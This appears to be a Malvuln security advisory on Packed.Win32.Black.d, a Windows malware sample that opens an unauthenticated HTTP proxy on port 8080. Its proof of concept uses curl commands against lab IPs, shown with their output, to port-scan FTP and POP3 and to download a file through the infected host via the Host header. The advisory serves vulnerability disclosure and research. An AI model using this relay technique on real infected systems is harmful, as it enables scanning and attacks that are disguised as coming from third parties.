Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/17e3836682ffb0913459ece7c3f0786d.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Packed.Win32.Black.d Vulnerability: Unauthenticated Open Proxy Description: The malware listens on TCP port 8080 and drops one of two executables named "Unknown.exe" or "Internet Explorer.exe under Windows dir". Third-party adversaries who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host. The relay does not require authentication or any special User-agent check and leverages the HTTP Host header in the request to connect to third-party systems. Type: PE32 MD5: 17e3836682ffb0913459ece7c3f0786d Vuln ID: MVID-2021-0183 Dropped files: "Unknown.exe" or "Internet Explorer.exe" Disclosure: 04/21/2021 Exploit/PoC: Port scan FTP port 21) curl http://192.168.88.128:8080 -H "Host: 192.168.88.129:21" -v Rebuilt URL to: http://192.168.88.128:8080/ Trying 192.168.88.128... TCP_NODELAY set Connected to 192.168.88.128 (192.168.88.128) port 8080 (#0) GET / HTTP/1.1 Host: 192.168.88.129:21 User-Agent: curl/7.55.1 Accept: */* 220 INetSim FTP Service ready. 500 Unknown command. Port scan POP3 port 110) curl http://192.168.88.128:8080 -H "Host: 192.168.88.129:110" -v Rebuilt URL to: http://192.168.88.128:8080/ Trying 192.168.88.128... TCP_NODELAY set Connected to 192.168.88.128 (192.168.88.128) port 8080 (#0) GET / HTTP/1.1 Host: 192.168.88.129:110 User-Agent: curl/7.55.1 Accept: */* +OK INetSim POP3 Server ready <4781.1618963833@pop3host> -ERR Unknown command. Download files) curl http://192.168.88.128:8080/DOOM.exe -H "Host: 192.168.88.129:2222" --output DOOM.exe -v Trying 192.168.88.128... TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 192.168.88.128 (192.168.88.128) port 8080 (#0) GET /DOOM.exe HTTP/1.1 Host: 192.168.88.129:2222 User-Agent: curl/7.55.1 Accept: */* HTTP 1.0, assume close after body HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/2.7.6 Date: Wed, 21 Apr 2021 00:14:34 GMT Content-type: application/x-msdos-program Content-Length: 103533 Last-Modified: Sat, 03 Aug 2019 04:57:12 GMT { [78487 bytes data] 75 101k 75 78487 0 0 78487 0 0:00:01 0:00:01 --:--:-- 71808* transfer closed with 25046 bytes remaining to read 75 101k 75 78487 0 0 78487 0 0:00:01 0:00:01 --:--:-- 67895 * Closing connection 0 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).